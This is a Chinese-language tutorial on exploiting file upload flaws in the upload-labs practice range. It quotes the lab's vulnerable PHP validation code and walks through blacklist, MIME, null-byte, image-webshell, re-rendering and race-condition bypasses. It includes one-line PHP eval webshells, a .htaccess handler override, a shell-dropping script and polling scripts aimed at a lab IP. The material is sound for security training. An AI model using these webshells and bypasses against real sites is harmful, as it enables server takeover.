文件上传
概念
文件上传是常用功能,但恶意文 件的上传会形成漏洞。
主要形成是:后端接受了恶意文件上传并保存,受害者访问该恶意文件时,其中的恶意代码被 Web 容器执行。
常见场景:
-
上传头像 👤
-
上传相册 📚
-
上传附件 📎
-
添加文章图片
-
前台留言资料上传
-
编辑器文件上传
-
……
安装靶场
docker pull cuer/upload-labs
docker run -d -p 8082:80 --name upload-labs cuer/upload-labs
客户端 - JS 绕过
禁用 JavaScript
打开靶场的 pass01,点击右上角「查看源码」,这里的文件上传存在 JS 限制,并且只允许 .jpg
, .png
, .gif
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
在上传前先禁用掉 JavaScript
首先我们上传文件 info.php
,内容是输出 php 信息:
<?php phpinfo(); ?>
我们也可以上传
get.php
,直接用参数控制输出
<?php eval(@$_GET['cmd']); ?>
修改后缀名
先把 get.php
修改为符合上传要求 👉 get.png
,然后用 Burp 抓包改回原来的 get.php
修改前端代码
删除 onsubmit
方法,这种方式仅在 FireFox 生效:
服务端 - 黑名单绕过
特殊后缀
在 pass03,这里后端无法上传的黑名单包括 .asp
, .aspx
, .php
, .jsp
。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以使用其他后缀,比如:.phtml
, .phps
, php5
, .pht
这些后缀文 件需要被执行的话有前提条件是, Apache 需要做一些配置代码
大小写绕过
在 pass06,上传 get.PHP
就能绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
点绕过
在 pass08,上传 get.php.
可以绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
空格绕过
在 pass07 中,可以在文件末尾添加空格 get.php
绕过。
空格绕过这种方式仅适用于 Windows 系统,因为 Windows 会去除文件前后空格,才能访问得到。
::data
绕过
Windows 中,如果 文件名 + ::$DATA
会把 ::$DATA
之后的数据当做文件流处理,不会检测后缀名,且保持 ::$DATA
之前的文件名。使用。
在 pass08 中可使用
不过由于 Linux 无法解析 http://175.178.126.31:8082/upload/get.php::data
,访问不到,但是文件是已经上传了。
配合解析绕过
在 pass10 中,可以看到代码很严格,但是有一个漏洞就是只做了一次校验,因此我们可以上传注入 get.php. .
来进行绕过。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
.htaccess 绕过
.htaccess
文件,(Hypertex Access超文本)入口是 Apache 的配置文件,用于执行目录下的网页配置。
在 Upload-04 中,我们可以上传 .htaccess
文件
准备两个文件 .htaccess
和 wukaipeng.png
:
<!-- .htaccess文件 -->
<FilesMatch "wukaipeng.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
/* wukaipeng.png */
<?php eval(@$_POST['cmd']); ?>
然后分别上传,之后在蚁剑测试链接
双写绕过
在 pass11 中,可以利用双写后缀绕过,比如 info.php
👉 info.pphphp
服务端 - 白名单绕过
MIME 类型绕过
在 pass02 中,我们可以修改 Content-Type
来绕过
00 截断绕过
00 截断绕过是系统漏洞,操作系统底层是 C 语言 or 汇编语 言的,这两种语言都以 \0
作为字符串的结束标志。00 截断是指插入 \0
,从而达到字符串截断的目的。
\0
是 ASCII 码表中的第 0 个字符,英文名为 NUL
。\0
是在底层操作系统的表现形式,在前端输入不能直接输入 \0
,而应该使用 %00
或者 0x00
:
%00
:URL 中 %00
表示 ASCII 码为 0
的字符,该字符为特殊字符保留,表示字符串结束。当 URL 出现 %00
时就认为读取已经结束,而忽略后面上传的文件或图片,只上传截断前的文件。
0x00
:%00
解码成十六进制形式。
接着我们要安装小皮面板作为这次实验的环境,小皮面板对主机的侵入性还是蛮大的,我试过在一台远程 Linux 服务器安装,不仅没跑起来,而且还把环境给污染了,无奈只能给服务器重装系统。所以还是在虚拟机环境跑小皮面板,安全隔离,这是安装教程 👉 02-Mac M1M2 安装 Windows11 && 小皮面板 PhpStudy
安装好之后,我们打开 Windows 中的小皮面板 PhpStudy,切换一个低的 PHP 版本:
关闭 magic_quotes_gpc
重启 PhpStudy。
然后我们准备一个文件 post.php
,内容为:
<?php eval(@$_POST['cmd']); ?>
将 post.php
后缀改为 .png
,然后打开 upload-labs 上传,用 Burp 拦截,修改 save_path
:
如果失败的话可以看一下是否被 Windows11 的“病毒和威胁防护”拦截了。
上传后我们会获得这样的图片 URL:http://172.16.26.128/upload-labs/upload/post.php%EF%BF%BD/6320231026071713.png
将 post.php
后面去掉,然后在蚁剑上进行连接:
服务端 - 内容绕过
文件头检查
下面文件头的格式是十六进制:
- .jpg:
FF D8 FF E0 00 10 4A 46 49 46
- .gif:
47 49 46 38 39 61
- .png:
89 50 4E 47
Mac 下使用 Hex Friend(http://hexfiend.com/) 查看一张 png 的十六进制:
🐴 制作图片马:
在 Hex Friend 中打开一张真实图片,在最后加上一句话木马
<?php phpinfo(); ?>
在 pass13 上传图片,并获取图片的 URL
访问:http://YOUR_IP_ADDRESS:PORT/include.php?file=IMAGE_URL
🐴 制作图片马的另外一种方式:直接设置文件头,然后写上一句话木马
这种方式严格上不算图片马
突破 getimagesize 及 exif_imagetype
在 pass15 中,和文件头检查不一样,判断文件代码是用 getimagesize()
判断图片,即获取图片的长度和高度等来判断是否是图片。
在 pass16 中,exif_imagetype()
读取第一个图像的第一个字节并检查其签名。
对于 pass15 和 pass16,我们只需要用真实的图片来制作木马,并且攻击方式和上一小节一致,这里忽略。
二次渲染绕过
二次渲染:将用户上传的照片进行修改,新生成的图片再票如数据库。比如上传头像,网站根据头像生成不同尺寸的头像。
在 pass-17 中,会判断后缀名、文件类型,利用 imagecreatefrom<jpeg|png|gif>()
判断是否是图片格,最后再做二次渲染。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片 生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
我们以这张 GIF 为例
先用 Hex Friend 打开,在尾部添加一句话木马 <?php phpinfo(); ?>
:
我们下载上传后的图片,也用 Hex Friend 打开,可以看下末尾,一句话木马已经被删除掉了。接着我们使用 Hex Friend 的对比功能:
在查看对比的时候,可以看到只有后面大部分基本全部被改动过,只有前面部分改动比较小:
因此我们可以在前面部分插入一句话木马:
然后重新上传,可以看到我们的一句话木马已经注入成功了。
如果没有成功的话,要多试几次
需要我这一张插入木马成功的 GIF 图,可以从这个地址下载:⬇️ freedom gif
文件包含绕过
服务端 - 代码逻辑(条件竞争)
条件竞争:服务端代码逻辑漏洞,导致资源没有正确被处理。比如并发的时候没有正确的加锁,导致多个线程同时访问
在 pass-18 中,文件是先上传再校验,因为可以利用上传到校验之间的空隙来执行木马。
先写一个 cs.php
脚本,脚本内容为生成一个 shell.php
文件,内容为 <?php @eval($_POST["test"])?>
:
<?php fputs(fopen('shell.php','w'), '<?php @eval($_POST["test"])?>');?>
上传 cs.php
,用 Burp 拦截,并发送到 Intruder,然后在末尾加个空格,以此空格然后点击 Add §
按钮,生成一个「空格 Payload」:
Payload type 选择「Null Payloads」,Payload settings 设置为「Continue indefinitely」,这样就能无限发送上传 cs.php
文件了:
我们写一个脚本来访问 cs.php
,只要有一瞬间访问得到,那我们的木马就注入成功了:
这是 Python 版的脚本:
import requests
url = "http://175.178.126.31:8082/upload/cs.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
这是 JavaScript 版的脚本:
// 在 Node.js 18+ 中,fetch 是全局可用的,不需要额外安装
const url = "http://175.178.126.31:8082/upload/cs.php";
async function checkServer() {
while (true) {
try {
// 使用 fetch 发起 GET 请求
const response = await fetch(url);
// fetch 不会在 HTTP 错误状态上 reject, 只有网络错误或请求被阻止时才会 reject.
// 因此,我们需要通过检查 ok 状态来抛出错误。
if (response.ok) {
console.log("OK");
break; // 如果响应是 200-299 之间,表示成功,退出循环
} else {
// 如果 HTTP 状态码不是成功的,抛出错误以被捕获
throw new Error(`HTTP Error: ${response.status}`);
}
} catch (error) {
// 打印错误信息
console.error(`An error occurred: ${error}`);
}
}
}
// 调用函数
checkServer();
执行 JS 版脚本:
可以看到我们访问成功了,那么也就是 shell.php
已经生成了,我们用蚁剑连接上去:
防御手段
防御手段主要是针对文件上传的三个点:从哪里上传?上传到哪里?能不能执行?
1️⃣ 判断文件类型。
2️⃣ 使用随机数改写文件名和文件路径。
3️⃣ 文件上传的目录设置为不可执行。
4️⃣ 使用安全设备。安全设备会检测非法手段、恶意文件。